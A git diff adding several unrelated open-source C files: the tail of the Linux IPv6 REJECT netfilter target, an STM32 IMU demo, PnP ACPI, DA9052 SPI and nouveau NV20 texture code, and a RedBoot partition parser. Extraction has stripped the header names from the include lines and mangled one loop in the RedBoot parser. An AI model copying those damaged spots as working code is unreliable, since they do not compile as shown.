skb_reset_network_header(nskb); + ip6h = ipv6_hdr(nskb); + ip6h->version = 6; + ip6h->hop_limit = dst_metric(dst, RTAX_HOPLIMIT); + ip6h->nexthdr = IPPROTO_TCP; + ipv6_addr_copy(&ip6h->saddr, &oip6h->daddr); + ipv6_addr_copy(&ip6h->daddr, &oip6h->saddr); + + tcph = (struct tcphdr *)skb_put(nskb, sizeof(struct tcphdr)); + /* Truncate to length (no data) */ + tcph->doff = sizeof(struct tcphdr)/4; + tcph->source = otcph.dest; + tcph->dest = otcph.source; + + if (otcph.ack) { + needs_ack = 0; + tcph->seq = otcph.ack_seq; + tcph->ack_seq = 0; + } else { + needs_ack = 1; + tcph->ack_seq = htonl(ntohl(otcph.seq) + otcph.syn + otcph.fin + + otcplen - (otcph.doff<<2)); + tcph->seq = 0; + } + + /* Reset flags */ + ((u_int8_t *)tcph)[13] = 0; + tcph->rst = 1; + tcph->ack = needs_ack; + tcph->window = 0; + tcph->urg_ptr = 0; + tcph->check = 0; + + /* Adjust TCP checksum */ + tcph->check = csum_ipv6_magic(&ipv6_hdr(nskb)->saddr, + &ipv6_hdr(nskb)->daddr, + sizeof(struct tcphdr), IPPROTO_TCP, + csum_partial(tcph, + sizeof(struct tcphdr), 0)); + + nf_ct_attach(nskb, oldskb); + + ip6_local_out(nskb); +} + +static inline void +send_unreach(struct net *net, struct sk_buff *skb_in, unsigned char code, + unsigned int hooknum) +{ + if (hooknum == NF_INET_LOCAL_OUT && skb_in->dev == NULL) + skb_in->dev = net->loopback_dev; + + icmpv6_send(skb_in, ICMPV6_DEST_UNREACH, code, 0, NULL); +} + +static unsigned int +reject_tg6(struct sk_buff *skb, const struct xt_target_param *par) +{ + const struct ip6t_reject_info *reject = par->targinfo; + struct net *net = dev_net((par->in != NULL) ? par->in : par->out); + + pr_debug("%s: medium point\n", __func__); + /* WARNING: This code causes reentry within ip6tables. + This means that the ip6tables jump stack is now crap. We + must return an absolute verdict. --RR */ + switch (reject->with) { + case IP6T_ICMP6_NO_ROUTE: + send_unreach(net, skb, ICMPV6_NOROUTE, par->hooknum); + break; + case IP6T_ICMP6_ADM_PROHIBITED: + send_unreach(net, skb, ICMPV6_ADM_PROHIBITED, par->hooknum); + break; + case IP6T_ICMP6_NOT_NEIGHBOUR: + send_unreach(net, skb, ICMPV6_NOT_NEIGHBOUR, par->hooknum); + break; + case IP6T_ICMP6_ADDR_UNREACH: + send_unreach(net, skb, ICMPV6_ADDR_UNREACH, par->hooknum); + break; + case IP6T_ICMP6_PORT_UNREACH: + send_unreach(net, skb, ICMPV6_PORT_UNREACH, par->hooknum); + break; + case IP6T_ICMP6_ECHOREPLY: + /* Do nothing */ + break; + case IP6T_TCP_RESET: + send_reset(net, skb); + break; + default: + if (net_ratelimit()) + printk(KERN_WARNING "ip6t_REJECT: case %u not handled yet\n", reject->with); + break; + } + + return NF_DROP; +} + +static bool reject_tg6_check(const struct xt_tgchk_param *par) +{ + const struct ip6t_reject_info *rejinfo = par->targinfo; + const struct ip6t_entry *e = par->entryinfo; + + if (rejinfo->with == IP6T_ICMP6_ECHOREPLY) { + printk("ip6t_REJECT: ECHOREPLY is not supported.\n"); + return false; + } else if (rejinfo->with == IP6T_TCP_RESET) { + /* Must specify that it's a TCP packet */ + if (e->ipv6.proto != IPPROTO_TCP + || (e->ipv6.invflags & XT_INV_PROTO)) { + printk("ip6t_REJECT: TCP_RESET illegal for non-tcp\n"); + return false; + } + } + return true; +} + +static struct xt_target reject_tg6_reg __read_mostly = { + .name = "REJECT", + .family = NFPROTO_IPV6, + .target = reject_tg6, + .targetsize = sizeof(struct ip6t_reject_info), + .table = "filter", + .hooks = (1 << NF_INET_LOCAL_IN) | (1 << NF_INET_FORWARD) | + (1 << NF_INET_LOCAL_OUT), + .checkentry = reject_tg6_check, + .me = THIS_MODULE +}; + +static int __init reject_tg6_init(void) +{ + return xt_register_target(&reject_tg6_reg); +} + +static void __exit reject_tg6_exit(void) +{ + xt_unregister_target(&reject_tg6_reg); +} + +module_init(reject_tg6_init); +module_exit(reject_tg6_exit); diff --git a/pool/shard011/C/0141998_accelgyro.c b/pool/shard011/C/0141998_accelgyro.c new file mode 100644 index 0000000000000000000000000000000000000000..d56b1198e8a426590a0f9c6467c8113148ff27f0 --- /dev/null +++ b/pool/shard011/C/0141998_accelgyro.c @@ -0,0 +1,83 @@ +/* + accelgyro.c : report accelerometer and gyroscope values + + Copyright (C) 2016 James Jackson + + This file is part of BreezySTM32. + + BreezySTM32 is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + BreezySTM32 is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with BreezySTM32. If not, see . + */ + +#include + +#define BOARD_REV 2 + +float accel_scale; // converts to units of m/s^2 +float gyro_scale; // converts to units of rad/s + +int16_t accel_data[3]; +int16_t gyro_data[3]; +volatile int16_t temp_data; + +volatile uint8_t accel_status = 0; +volatile uint8_t gyro_status = 0; +volatile uint8_t temp_status = 0; +volatile bool mpu_new_measurement = false; + +void interruptCallback(void) +{ + mpu_new_measurement = true; + + mpu6050_request_async_accel_read(accel_data, &accel_status); + mpu6050_request_async_gyro_read(gyro_data, &gyro_status); + mpu6050_request_async_temp_read(&temp_data, &temp_status); +} + +uint32_t start_time = 0; + +void setup(void) +{ + delay(500); + i2cInit(I2CDEV_2); + mpu6050_register_interrupt_cb(&interruptCallback); + + uint16_t acc1G; + mpu6050_init(true, &acc1G, &gyro_scale, BOARD_REV); + accel_scale = 9.80665f / acc1G; +} + +void loop(void) +{ + if (accel_status == I2C_JOB_COMPLETE + && gyro_status == I2C_JOB_COMPLETE + && temp_status == I2C_JOB_COMPLETE) + { + static int32_t count = 0; + + // Throttle printing + if(count > 10000) + { + count = 0; + printf("%d\t %d\t %d\t %d\t %d\t %d\t %d\t \n", + (int32_t)(accel_data[0]*accel_scale*1000.0f), + (int32_t)(accel_data[1]*accel_scale*1000.0f), + (int32_t)(accel_data[2]*accel_scale*1000.0f), + (int32_t)(gyro_data[0]*gyro_scale*1000.0f), + (int32_t)(gyro_data[1]*gyro_scale*1000.0f), + (int32_t)(gyro_data[2]*gyro_scale*1000.0f), + temp_data); + } + count++; + } +} diff --git a/pool/shard011/C/0141999_core.c b/pool/shard011/C/0141999_core.c new file mode 100644 index 0000000000000000000000000000000000000000..c19354083ef99a64e334e74f5ff21a5627ac0a9d --- /dev/null +++ b/pool/shard011/C/0141999_core.c @@ -0,0 +1,293 @@ +/* + * pnpacpi -- PnP ACPI driver + * + * Copyright (c) 2004 Matthieu Castet + * Copyright (c) 2004 Li Shaohua + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ + +#include +#include +#include +#include +#include + +#include "../base.h" +#include "pnpacpi.h" + +static int num = 0; + +/* We need only to blacklist devices that have already an acpi driver that + * can't use pnp layer. We don't need to blacklist device that are directly + * used by the kernel (PCI root, ...), as it is harmless and there were + * already present in pnpbios. But there is an exception for devices that + * have irqs (PIC, Timer) because we call acpi_register_gsi. + * Finally, only devices that have a CRS method need to be in this list. + */ +static struct acpi_device_id excluded_id_list[] __initdata = { + {"PNP0C09", 0}, /* EC */ + {"PNP0C0F", 0}, /* Link device */ + {"PNP0000", 0}, /* PIC */ + {"PNP0100", 0}, /* Timer */ + {"", 0}, +}; + +static inline int __init is_exclusive_device(struct acpi_device *dev) +{ + return (!acpi_match_device_ids(dev, excluded_id_list)); +} + +/* + * Compatible Device IDs + */ +#define TEST_HEX(c) \ + if (!(('0' <= (c) && (c) <= '9') || ('A' <= (c) && (c) <= 'F'))) \ + return 0 +#define TEST_ALPHA(c) \ + if (!('@' <= (c) || (c) <= 'Z')) \ + return 0 +static int __init ispnpidacpi(char *id) +{ + TEST_ALPHA(id[0]); + TEST_ALPHA(id[1]); + TEST_ALPHA(id[2]); + TEST_HEX(id[3]); + TEST_HEX(id[4]); + TEST_HEX(id[5]); + TEST_HEX(id[6]); + if (id[7] != '\0') + return 0; + return 1; +} + +static int pnpacpi_get_resources(struct pnp_dev *dev) +{ + dev_dbg(&dev->dev, "get resources\n"); + return pnpacpi_parse_allocated_resource(dev); +} + +static int pnpacpi_set_resources(struct pnp_dev *dev) +{ + acpi_handle handle = dev->data; + struct acpi_buffer buffer; + int ret; + + dev_dbg(&dev->dev, "set resources\n"); + ret = pnpacpi_build_resource_template(dev, &buffer); + if (ret) + return ret; + ret = pnpacpi_encode_resources(dev, &buffer); + if (ret) { + kfree(buffer.pointer); + return ret; + } + if (ACPI_FAILURE(acpi_set_current_resources(handle, &buffer))) + ret = -EINVAL; + else if (acpi_bus_power_manageable(handle)) + ret = acpi_bus_set_power(handle, ACPI_STATE_D0); + kfree(buffer.pointer); + return ret; +} + +static int pnpacpi_disable_resources(struct pnp_dev *dev) +{ + acpi_handle handle = dev->data; + int ret; + + dev_dbg(&dev->dev, "disable resources\n"); + + /* acpi_unregister_gsi(pnp_irq(dev, 0)); */ + ret = 0; + if (acpi_bus_power_manageable(handle)) + acpi_bus_set_power(handle, ACPI_STATE_D3); + /* continue even if acpi_bus_set_power() fails */ + if (ACPI_FAILURE(acpi_evaluate_object(handle, "_DIS", NULL, NULL))) + ret = -ENODEV; + return ret; +} + +#ifdef CONFIG_ACPI_SLEEP +static int pnpacpi_suspend(struct pnp_dev *dev, pm_message_t state) +{ + int power_state; + + power_state = acpi_pm_device_sleep_state(&dev->dev, NULL); + if (power_state < 0) + power_state = (state.event == PM_EVENT_ON) ? + ACPI_STATE_D0 : ACPI_STATE_D3; + + return acpi_bus_set_power((acpi_handle) dev->data, power_state); +} + +static int pnpacpi_resume(struct pnp_dev *dev) +{ + return acpi_bus_set_power((acpi_handle) dev->data, ACPI_STATE_D0); +} +#endif + +static struct pnp_protocol pnpacpi_protocol = { + .name = "Plug and Play ACPI", + .get = pnpacpi_get_resources, + .set = pnpacpi_set_resources, + .disable = pnpacpi_disable_resources, +#ifdef CONFIG_ACPI_SLEEP + .suspend = pnpacpi_suspend, + .resume = pnpacpi_resume, +#endif +}; + +static int __init pnpacpi_add_device(struct acpi_device *device) +{ + acpi_handle temp = NULL; + acpi_status status; + struct pnp_dev *dev; + + /* + * If a PnPacpi device is not present , the device + * driver should not be loaded. + */ + status = acpi_get_handle(device->handle, "_CRS", &temp); + if (ACPI_FAILURE(status) || !ispnpidacpi(acpi_device_hid(device)) || + is_exclusive_device(device) || (!device->status.present)) + return 0; + + dev = pnp_alloc_dev(&pnpacpi_protocol, num, acpi_device_hid(device)); + if (!dev) + return -ENOMEM; + + dev->data = device->handle; + /* .enabled means the device can decode the resources */ + dev->active = device->status.enabled; + status = acpi_get_handle(device->handle, "_SRS", &temp); + if (ACPI_SUCCESS(status)) + dev->capabilities |= PNP_CONFIGURABLE; + dev->capabilities |= PNP_READ; + if (device->flags.dynamic_status && (dev->capabilities & PNP_CONFIGURABLE)) + dev->capabilities |= PNP_WRITE; + if (device->flags.removable) + dev->capabilities |= PNP_REMOVABLE; + status = acpi_get_handle(device->handle, "_DIS", &temp); + if (ACPI_SUCCESS(status)) + dev->capabilities |= PNP_DISABLE; + + if (strlen(acpi_device_name(device))) + strncpy(dev->name, acpi_device_name(device), sizeof(dev->name)); + else + strncpy(dev->name, acpi_device_bid(device), sizeof(dev->name)); + + if (dev->active) + pnpacpi_parse_allocated_resource(dev); + + if (dev->capabilities & PNP_CONFIGURABLE) + pnpacpi_parse_resource_option_data(dev); + + if (device->flags.compatible_ids) { + struct acpi_compatible_id_list *cid_list = device->pnp.cid_list; + int i; + + for (i = 0; i < cid_list->count; i++) { + if (!ispnpidacpi(cid_list->id[i].value)) + continue; + pnp_add_id(dev, cid_list->id[i].value); + } + } + + /* clear out the damaged flags */ + if (!dev->active) + pnp_init_resources(dev); + pnp_add_device(dev); + num++; + + return AE_OK; +} + +static acpi_status __init pnpacpi_add_device_handler(acpi_handle handle, + u32 lvl, void *context, + void **rv) +{ + struct acpi_device *device; + + if (!acpi_bus_get_device(handle, &device)) + pnpacpi_add_device(device); + else + return AE_CTRL_DEPTH; + return AE_OK; +} + +static int __init acpi_pnp_match(struct device *dev, void *_pnp) +{ + struct acpi_device *acpi = to_acpi_device(dev); + struct pnp_dev *pnp = _pnp; + + /* true means it matched */ + return acpi->flags.hardware_id + && !acpi_get_physical_device(acpi->handle) + && compare_pnp_id(pnp->id, acpi->pnp.hardware_id); +} + +static int __init acpi_pnp_find_device(struct device *dev, acpi_handle * handle) +{ + struct device *adev; + struct acpi_device *acpi; + + adev = bus_find_device(&acpi_bus_type, NULL, + to_pnp_dev(dev), acpi_pnp_match); + if (!adev) + return -ENODEV; + + acpi = to_acpi_device(adev); + *handle = acpi->handle; + put_device(adev); + return 0; +} + +/* complete initialization of a PNPACPI device includes having + * pnpdev->dev.archdata.acpi_handle point to its ACPI sibling. + */ +static struct acpi_bus_type __initdata acpi_pnp_bus = { + .bus = &pnp_bus_type, + .find_device = acpi_pnp_find_device, +}; + +int pnpacpi_disabled __initdata; +static int __init pnpacpi_init(void) +{ + if (acpi_disabled || pnpacpi_disabled) { + pnp_info("PnP ACPI: disabled"); + return 0; + } + pnp_info("PnP ACPI init"); + pnp_register_protocol(&pnpacpi_protocol); + register_acpi_bus_type(&acpi_pnp_bus); + acpi_get_devices(NULL, pnpacpi_add_device_handler, NULL, NULL); + pnp_info("PnP ACPI: found %d devices", num); + unregister_acpi_bus_type(&acpi_pnp_bus); + pnp_platform_devices = 1; + return 0; +} + +subsys_initcall(pnpacpi_init); + +static int __init pnpacpi_setup(char *str) +{ + if (str == NULL) + return 1; + if (!strncmp(str, "off", 3)) + pnpacpi_disabled = 1; + return 1; +} + +__setup("pnpacpi=", pnpacpi_setup); diff --git a/pool/shard011/C/0142000_da9052-spi.c b/pool/shard011/C/0142000_da9052-spi.c new file mode 100644 index 0000000000000000000000000000000000000000..dbeadc5a6436caca55f69a68f0865cc71084b0c8 --- /dev/null +++ b/pool/shard011/C/0142000_da9052-spi.c @@ -0,0 +1,109 @@ +/* + * SPI access for Dialog DA9052 PMICs. + * + * Copyright(c) 2011 Dialog Semiconductor Ltd. + * + * Author: David Dajun Chen + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + */ + +#include +#include +#include +#include +#include +#include + +#include + +static int __devinit da9052_spi_probe(struct spi_device *spi) +{ + int ret; + const struct spi_device_id *id = spi_get_device_id(spi); + struct da9052 *da9052; + + da9052 = devm_kzalloc(&spi->dev, sizeof(struct da9052), GFP_KERNEL); + if (!da9052) + return -ENOMEM; + + spi->mode = SPI_MODE_0 | SPI_CPOL; + spi->bits_per_word = 8; + spi_setup(spi); + + da9052->dev = &spi->dev; + da9052->chip_irq = spi->irq; + + dev_set_drvdata(&spi->dev, da9052); + + da9052_regmap_config.read_flag_mask = 1; + da9052_regmap_config.write_flag_mask = 0; + + da9052->regmap = devm_regmap_init_spi(spi, &da9052_regmap_config); + if (IS_ERR(da9052->regmap)) { + ret = PTR_ERR(da9052->regmap); + dev_err(&spi->dev, "Failed to allocate register map: %d\n", + ret); + return ret; + } + + ret = da9052_device_init(da9052, id->driver_data); + if (ret != 0) + return ret; + + return 0; +} + +static int __devexit da9052_spi_remove(struct spi_device *spi) +{ + struct da9052 *da9052 = dev_get_drvdata(&spi->dev); + + da9052_device_exit(da9052); + return 0; +} + +static struct spi_device_id da9052_spi_id[] = { + {"da9052", DA9052}, + {"da9053-aa", DA9053_AA}, + {"da9053-ba", DA9053_BA}, + {"da9053-bb", DA9053_BB}, + {} +}; + +static struct spi_driver da9052_spi_driver = { + .probe = da9052_spi_probe, + .remove = __devexit_p(da9052_spi_remove), + .id_table = da9052_spi_id, + .driver = { + .name = "da9052", + .owner = THIS_MODULE, + }, +}; + +static int __init da9052_spi_init(void) +{ + int ret; + + ret = spi_register_driver(&da9052_spi_driver); + if (ret != 0) { + pr_err("Failed to register DA9052 SPI driver, %d\n", ret); + return ret; + } + + return 0; +} +subsys_initcall(da9052_spi_init); + +static void __exit da9052_spi_exit(void) +{ + spi_unregister_driver(&da9052_spi_driver); +} +module_exit(da9052_spi_exit); + +MODULE_AUTHOR("David Dajun Chen "); +MODULE_DESCRIPTION("SPI driver for Dialog DA9052 PMIC"); +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0142001_nv20_state_tex.c b/pool/shard011/C/0142001_nv20_state_tex.c new file mode 100644 index 0000000000000000000000000000000000000000..92870105f96beac422c1a74578b04e90ad05cb43 --- /dev/null +++ b/pool/shard011/C/0142001_nv20_state_tex.c @@ -0,0 +1,213 @@ +/* + * Copyright (C) 2009 Francisco Jerez. + * All Rights Reserved. + * + * Permission is hereby granted, free of charge, to any person obtaining + * a copy of this software and associated documentation files (the + * "Software"), to deal in the Software without restriction, including + * without limitation the rights to use, copy, modify, merge, publish, + * distribute, sublicense, and/or sell copies of the Software, and to + * permit persons to whom the Software is furnished to do so, subject to + * the following conditions: + * + * The above copyright notice and this permission notice (including the + * next paragraph) shall be included in all copies or substantial + * portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. + * IN NO EVENT SHALL THE COPYRIGHT OWNER(S) AND/OR ITS SUPPLIERS BE + * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION + * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION + * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + * + */ + +#include "nouveau_driver.h" +#include "nouveau_context.h" +#include "nouveau_gldefs.h" +#include "nouveau_texture.h" +#include "nouveau_class.h" +#include "nouveau_util.h" +#include "nv20_driver.h" + +static uint32_t +get_tex_format_pot(struct gl_texture_image *ti) +{ + switch (ti->TexFormat) { + case MESA_FORMAT_ARGB8888: + return NV20TCL_TX_FORMAT_FORMAT_A8R8G8B8; + + case MESA_FORMAT_ARGB1555: + return NV20TCL_TX_FORMAT_FORMAT_A1R5G5B5; + + case MESA_FORMAT_ARGB4444: + return NV20TCL_TX_FORMAT_FORMAT_A4R4G4B4; + + case MESA_FORMAT_XRGB8888: + return NV20TCL_TX_FORMAT_FORMAT_X8R8G8B8; + + case MESA_FORMAT_RGB565: + return NV20TCL_TX_FORMAT_FORMAT_R5G6B5; + + case MESA_FORMAT_A8: + case MESA_FORMAT_I8: + return NV20TCL_TX_FORMAT_FORMAT_A8; + + case MESA_FORMAT_L8: + return NV20TCL_TX_FORMAT_FORMAT_L8; + + case MESA_FORMAT_CI8: + return NV20TCL_TX_FORMAT_FORMAT_INDEX8; + + default: + assert(0); + } +} + +static uint32_t +get_tex_format_rect(struct gl_texture_image *ti) +{ + switch (ti->TexFormat) { + case MESA_FORMAT_ARGB8888: + return NV20TCL_TX_FORMAT_FORMAT_A8R8G8B8_RECT; + + case MESA_FORMAT_ARGB1555: + return NV20TCL_TX_FORMAT_FORMAT_A1R5G5B5_RECT; + + case MESA_FORMAT_ARGB4444: + return NV20TCL_TX_FORMAT_FORMAT_A4R4G4B4_RECT; + + case MESA_FORMAT_XRGB8888: + return NV20TCL_TX_FORMAT_FORMAT_R8G8B8_RECT; + + case MESA_FORMAT_RGB565: + return NV20TCL_TX_FORMAT_FORMAT_R5G6B5_RECT; + + case MESA_FORMAT_L8: + return NV20TCL_TX_FORMAT_FORMAT_L8_RECT; + + case MESA_FORMAT_A8: + case MESA_FORMAT_I8: + return NV20TCL_TX_FORMAT_FORMAT_A8_RECT; + + default: + assert(0); + } +} + +void +nv20_emit_tex_obj(GLcontext *ctx, int emit) +{ + const int i = emit - NOUVEAU_STATE_TEX_OBJ0; + struct nouveau_channel *chan = context_chan(ctx); + struct nouveau_grobj *kelvin = context_eng3d(ctx); + struct nouveau_bo_context *bctx = context_bctx_i(ctx, TEXTURE, i); + const int bo_flags = NOUVEAU_BO_RD | NOUVEAU_BO_GART | NOUVEAU_BO_VRAM; + struct gl_texture_object *t; + struct nouveau_surface *s; + struct gl_texture_image *ti; + uint32_t tx_format, tx_filter, tx_wrap, tx_enable; + + if (!ctx->Texture.Unit[i]._ReallyEnabled) { + BEGIN_RING(chan, kelvin, NV20TCL_TX_ENABLE(i), 1); + OUT_RING(chan, 0); + + context_dirty(ctx, TEX_SHADER); + return; + } + + t = ctx->Texture.Unit[i]._Current; + s = &to_nouveau_texture(t)->surfaces[t->BaseLevel]; + ti = t->Image[0][t->BaseLevel]; + + if (!nouveau_texture_validate(ctx, t)) + return; + + /* Recompute the texturing registers. */ + tx_format = ti->DepthLog2 << 28 + | ti->HeightLog2 << 24 + | ti->WidthLog2 << 20 + | NV20TCL_TX_FORMAT_DIMS_2D + | NV20TCL_TX_FORMAT_NO_BORDER + | 1 << 16; + + tx_wrap = nvgl_wrap_mode(t->WrapR) << 16 + | nvgl_wrap_mode(t->WrapT) << 8 + | nvgl_wrap_mode(t->WrapS) << 0; + + tx_filter = nvgl_filter_mode(t->MagFilter) << 24 + | nvgl_filter_mode(t->MinFilter) << 16; + + tx_enable = NV20TCL_TX_ENABLE_ENABLE + | log2i(t->MaxAnisotropy) << 4; + + if (t->Target == GL_TEXTURE_RECTANGLE) { + BEGIN_RING(chan, kelvin, NV20TCL_TX_NPOT_PITCH(i), 1); + OUT_RING(chan, s->pitch << 16); + BEGIN_RING(chan, kelvin, NV20TCL_TX_NPOT_SIZE(i), 1); + OUT_RING(chan, s->width << 16 | s->height); + + tx_format |= get_tex_format_rect(ti); + } else { + tx_format |= get_tex_format_pot(ti); + } + + if (t->MinFilter != GL_NEAREST && + t->MinFilter != GL_LINEAR) { + int lod_min = t->MinLod; + int lod_max = MIN2(t->MaxLod, t->_MaxLambda); + int lod_bias = t->LodBias + + ctx->Texture.Unit[i].LodBias; + + lod_max = CLAMP(lod_max, 0, 15); + lod_min = CLAMP(lod_min, 0, 15); + lod_bias = CLAMP(lod_bias, 0, 15); + + tx_format |= NV20TCL_TX_FORMAT_MIPMAP; + tx_filter |= lod_bias << 8; + tx_enable |= lod_min << 26 + | lod_max << 14; + } + + /* Write it to the hardware. */ + nouveau_bo_mark(bctx, kelvin, NV20TCL_TX_FORMAT(i), + s->bo, tx_format, 0, + NV20TCL_TX_FORMAT_DMA0, + NV20TCL_TX_FORMAT_DMA1, + bo_flags | NOUVEAU_BO_OR); + + nouveau_bo_markl(bctx, kelvin, NV20TCL_TX_OFFSET(i), + s->bo, 0, bo_flags); + + BEGIN_RING(chan, kelvin, NV20TCL_TX_WRAP(i), 1); + OUT_RING(chan, tx_wrap); + + BEGIN_RING(chan, kelvin, NV20TCL_TX_FILTER(i), 1); + OUT_RING(chan, tx_filter); + + BEGIN_RING(chan, kelvin, NV20TCL_TX_ENABLE(i), 1); + OUT_RING(chan, tx_enable); + + context_dirty(ctx, TEX_SHADER); +} + +void +nv20_emit_tex_shader(GLcontext *ctx, int emit) +{ + struct nouveau_channel *chan = context_chan(ctx); + struct nouveau_grobj *kelvin = context_eng3d(ctx); + uint32_t tx_shader_op = 0; + int i; + + for (i = 0; i < NV20_TEXTURE_UNITS; i++) { + if (!ctx->Texture.Unit[i]._ReallyEnabled) + continue; + + tx_shader_op |= NV20TCL_TX_SHADER_OP_TX0_TEXTURE_2D << 5 * i; + } + + BEGIN_RING(chan, kelvin, NV20TCL_TX_SHADER_OP, 1); + OUT_RING(chan, tx_shader_op); +} diff --git a/pool/shard011/C/0142002_redboot.c b/pool/shard011/C/0142002_redboot.c new file mode 100644 index 0000000000000000000000000000000000000000..dc97028383d30a27fac278ce0b1ace6ef7eb9eef --- /dev/null +++ b/pool/shard011/C/0142002_redboot.c @@ -0,0 +1,205 @@ +/* + * $Id: redboot.c,v 1.6 2001/10/25 09:16:06 dwmw2 Exp $ + * + * Parse RedBoot-style Flash Image System (FIS) tables and + * produce a Linux partition array to match. + */ + +#include +#include + +#include +#include + +struct fis_image_desc { + unsigned char name[16]; // Null terminated name + unsigned long flash_base; // Address within FLASH of image + unsigned long mem_base; // Address in memory where it executes + unsigned long size; // Length of image + unsigned long entry_point; // Execution entry point + unsigned long data_length; // Length of actual data + unsigned char _pad[256-(16+7*sizeof(unsigned long))]; + unsigned long desc_cksum; // Checksum over image descriptor + unsigned long file_cksum; // Checksum over image data +}; + +struct fis_list { + struct fis_image_desc *img; + struct fis_list *next; +}; + +static inline int redboot_checksum(struct fis_image_desc *img) +{ + /* RedBoot doesn't actually write the desc_cksum field yet AFAICT */ + return 1; +} + +int parse_redboot_partitions(struct mtd_info *master, struct mtd_partition **pparts, unsigned long fis_origin) +{ + int nrparts = 0; + struct fis_image_desc *buf; + struct mtd_partition *parts; + struct fis_list *fl = NULL, *tmp_fl; + int ret, i; + size_t retlen; + char *names; + int namelen = 0; + char *nullname; + int nulllen = 0; +#ifdef CONFIG_MTD_REDBOOT_PARTS_UNALLOCATED + static char nullstring[] = "unallocated"; +#endif + + buf = kmalloc(master->erasesize, GFP_KERNEL); + + if (!buf) + return -ENOMEM; + + /* Read the start of the last erase block */ + ret = master->read(master, master->size - master->erasesize, + master->erasesize, &retlen, (void *)buf); + + if (ret) + goto out; + + if (retlen != master->erasesize) { + ret = -EIO; + goto out; + } + + /* RedBoot image could appear in any of the first three slots */ + for (i = 0; i < 3; i++) { + if (!memcmp(buf[i].name, "RedBoot", 8)) + break; + } + if (i == 3) { + /* Didn't find it */ + printk(KERN_NOTICE "No RedBoot partition table detected in %s\n", + master->name); + ret = 0; + goto out; + } + + if (fis_origin == ULONG_MAX) + fis_origin = buf->flash_base; + else if (fis_origin != buf->flash_base) + printk(KERN_NOTICE + "RedBoot says flash is at %lx, but it's actually at %lx\n", + buf->flash_base, fis_origin); + + for (i = 0; i < master->erasesize / sizeof(struct fis_image_desc); i++) { + struct fis_list *new_fl, **prev; + + if (buf[i].name[0] == 0xff) + break; + if (!redboot_checksum(&buf[i])) + break; + + new_fl = kmalloc(sizeof(struct fis_list), GFP_KERNEL); + namelen += strlen(buf[i].name)+1; + if (!new_fl) { + ret = -ENOMEM; + goto out; + } + new_fl->img = &buf[i]; + if (fis_origin) { + buf[i].flash_base -= fis_origin; + } else { + buf[i].flash_base &= master->size-1; + } + + /* I'm sure the JFFS2 code has done me permanent damage. + * I now think the following is _normal_ + */ + prev = &fl; + while(*prev && (*prev)->img->flash_base < new_fl->img->flash_base) + prev = &(*prev)->next; + new_fl->next = *prev; + *prev = new_fl; + + nrparts++; + } +#ifdef CONFIG_MTD_REDBOOT_PARTS_UNALLOCATED + if (fl->img->flash_base) { + nrparts++; + nulllen = sizeof(nullstring); + } + + for (tmp_fl = fl; tmp_fl->next; tmp_fl = tmp_fl->next) { + if (tmp_fl->img->flash_base + tmp_fl->img->size + master->erasesize <= tmp_fl->next->img->flash_base) { + nrparts++; + nulllen = sizeof(nullstring); + } + } +#endif + parts = kmalloc(sizeof(*parts)*nrparts + nulllen + namelen, GFP_KERNEL); + + if (!parts) { + ret = -ENOMEM; + goto out; + } + + memset(parts, 0, sizeof(*parts)*nrparts + nulllen + namelen); + + nullname = (char *)&parts[nrparts]; +#ifdef CONFIG_MTD_REDBOOT_PARTS_UNALLOCATED + if (nulllen > 0) { + strcpy(nullname, nullstring); + } +#endif + names = nullname + nulllen; + + i=0; + +#ifdef CONFIG_MTD_REDBOOT_PARTS_UNALLOCATED + if (fl->img->flash_base) { + parts[0].name = nullname; + parts[0].size = fl->img->flash_base; + parts[0].offset = 0; + i++; + } +#endif + for ( ; iimg->size; + parts[i].offset = fl->img->flash_base; + parts[i].name = names; + + strcpy(names, fl->img->name); +#ifdef CONFIG_MTD_REDBOOT_PARTS_READONLY + if (!memcmp(names, "RedBoot", 8) || + !memcmp(names, "RedBoot config", 15) || + !memcmp(names, "FIS directory", 14)) { + parts[i].mask_flags = MTD_WRITEABLE; + } +#endif + names += strlen(names)+1; + +#ifdef CONFIG_MTD_REDBOOT_PARTS_UNALLOCATED + if(fl->next && fl->img->flash_base + fl->img->size + master->erasesize <= fl->next->img->flash_base) { + i++; + parts[i].offset = parts[i-1].size + parts[i-1].offset; + parts[i].size = fl->next->img->flash_base - parts[i].offset; + parts[i].name = nullname; + } +#endif + tmp_fl = fl; + fl = fl->next; + kfree(tmp_fl); + } + ret = nrparts; + *pparts = parts; + out: + while (fl) { + struct fis_list *old = fl; + fl = fl->next; + kfree(old); + } + kfree(buf); + return ret; +} + +EXPORT_SYMBOL(parse_redboot_partitions); + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Red Hat, Inc. - David Woodhouse "); +MODULE_DESCRIPTION("Parsing code for RedBoot Flash Image System (FIS) tables"); diff --git a/pool/shard011/C/0142003_bb_pwd.c b/pool/shard011/C/0142003_bb_pwd.c new file mode 100644 index 0000000000000000000000000000000000000000..4829b723a0195163df5e937090d4c171ab9d8460 --- /dev/null +++ b/pool/shard011/C/0142003_bb_pwd.c @@ -0,0 